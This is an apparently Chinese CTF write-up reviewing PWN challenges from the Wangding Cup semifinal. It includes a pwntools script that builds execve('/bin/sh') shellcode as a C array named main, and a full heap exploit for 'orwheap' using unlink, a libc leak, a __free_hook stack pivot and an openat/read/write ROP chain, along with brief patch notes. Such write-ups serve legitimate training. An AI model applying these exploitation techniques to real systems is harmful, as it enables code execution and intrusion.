第二届网鼎杯半决赛部分PWN复盘

两人组去当了分母,打的很一般,复盘一下。

easypwn

先看check():

检测了输入内容是否有各种括号,如果没有执行write_f():

将我们的内容写入到一个c文件中。

接着编译并执行,输出结果。

exp1

应该是个非预期?

flag不满足C语法,就会报错出内容。

exp2

限制了括号以后通过函数执行命令不太可能,听其他师傅说可以把main定义在data段来执行shellcode,但是限制长度需要对一般的shellcode做简化处理。

from pwn import *

context.arch = "amd64"
context.log_level = "debug"

shellcode = asm(
'''
mov     rbx, 0x68732f6e69622f
push    rbx
push    rsp
pop     rdi
push    0x3b
pop     rax
syscall 
'''
)


payload = 'const char main='+str(ord(shellcode[0])) + ','

for i in range(1,len(shellcode)):
    payload+= chr(96+i) + '=' + str(ord(shellcode[i])) + ','

payload = payload[:-1] + ';'

print payload

patch

直接nop掉执行文件的system即可。


orwheap

给的是2.31的libc。

看题目名字估计大概有orw限制。

大概的恢复了一下主要功能函数。现在看一下漏洞点:

假设我们输入size为0,即可造成一个堆溢出。

第二个点是UAF:

但只能free两次。

第三个是数组越界:

但是要注意:

exp

看到限制了execve和open,可以利用unlink来改hook为ROP,或者栈上ROP,限制了open的话用openat。

#! /usr/bin/python

import sys
from pwn import *

sl = lambda x:p.sendline(x)
sd = lambda x:p.send(x)
sda = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
rv = lambda x:p.recv(x)
ru = lambda x:p.recvuntil(x)
ia = lambda :p.interactive()
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']


if(sys.argv[1] == 'l'):
	p = process("./orwheap")
	elf = ELF("./orwheap")
	libc = ELF('./libc-2.31.so')
else:
	p = remote()
	elf = ELF("./")


def menu(cmd):
    sla("Your Choice:",str(cmd))

def add(idx,size,content):
    menu(1)
    sla('index>> ',str(idx))
    sla('size>> ',str(size))
    sda('name>> ',content)

def delete(idx):
    menu(2)
    sla('index>> ',str(idx))

def edit(idx,content):
    menu(3)
    sla('index>> ',str(idx))
    sda('name>> ',content)

def show(idx):
    menu(5)
    sla('index>> ',str(idx))

###init###
_list = 0x4040E8
free_times = 0x404080
fake_FD = _list + 0x10 - 0x18
fake_BK = _list + 0x10 - 0x10

###leak libc###
add(5,0x60,'/flag\x00\x00\x00')
add(1,0x500,'aaaa')
add(2,0x60,'gap')

delete(1)
show(1)
libc_base = u64(ru('\x7f').ljust(8,b'\x00')) - 0x1ebbe0
success('libc base:'+hex(libc_base))

free_hook = libc_base + libc.symbols['__free_hook']
openat = libc_base + libc.symbols['openat']
write = libc_base+libc.symbols['write']
read = libc_base+libc.symbols['read']
pop_rdi_ret = 0x0000000000401893
pop_rsi_r15_ret = 0x0000000000401891
pop_rdx_r12_ret = libc_base + 0x000000000011c371 

###unlink###
add(3,0x60,'cccc')
add(4,0x470,'bbbb')

payload = p64(0) + p64(0x60) + p64(fake_FD) + p64(fake_BK) + b'A' * 0x40 + p64(0x60) + p64(0x480)
edit(1,payload)
delete(4)

payload = p64(0x20) + p64(free_times) + p64(0x400) + p64(free_hook) + p64(0x400) + p64(_list+0x30)
edit(1,payload)

show(2)
heap = u64(rv(3).ljust(8,b'\x00')) - 0x310
success('heap:'+hex(heap))

###ROP###
edit(0,'5')
edit(1,p64(0x00000000004013ba))

payload = p64(0) + p64(pop_rdi_ret) + p64(heap+0x2a0) + p64(pop_rsi_r15_ret) + p64(heap+0x2a0) + p64(0) + p64(openat)
payload+= p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_r15_ret) + p64(heap+0x20) + p64(0) + p64(pop_rdx_r12_ret) + p64(0x40) + p64(0) + p64(read)
payload+= p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(heap+0x20) + p64(0) + p64(pop_rdx_r12_ret) + p64(0x40) + p64(0) + p64(write)


#gdb.attach(p,'b *0x0000000004013BA')
add(6,0x200,payload)
delete(6)



###get shell###
ia()

这里参考了Lime师傅的exp,0x4013ba是“xchg rsp, rdi”,先把ROP写到一个堆上,把这个gadget写到hook上,然后free_hook也是rdi传参,free ROP chunk,这样rdi就是ROP地址:

如上RSP就改成了ROP地址。

ROP前面为什么有个p64(0)?x

是因为还有一个pop rbp。

本地不知道为什么不成功,但是跟流程发现确实执行了ROP(后面发现ROP有问题),原因在openat,openat第二个参数才是要打开的文件,所以一开始rsi赋值0是不对的,要赋值flag的路径。

并且要多试几次才能成- -。

patch

知道漏洞怎么利用修复就很简单了,赛场上我一直对着eh段修uaf,后面发现eh段根本没x权限。

用IDA把段改成可读写执行然后正常修UAF即可。


Crypto_System

先来看encrypt:

赛后听其他师傅说,共模攻击,exp后面补吧。

patch

看到de功能有个free没置零就下意识的修掉了,结果还真行- -。

因为暂时不知道怎么利用洞,所以修复的原理也后面补吧。

Leave a Reply

Your email address will not be published. Required fields are marked *

3 × 3 =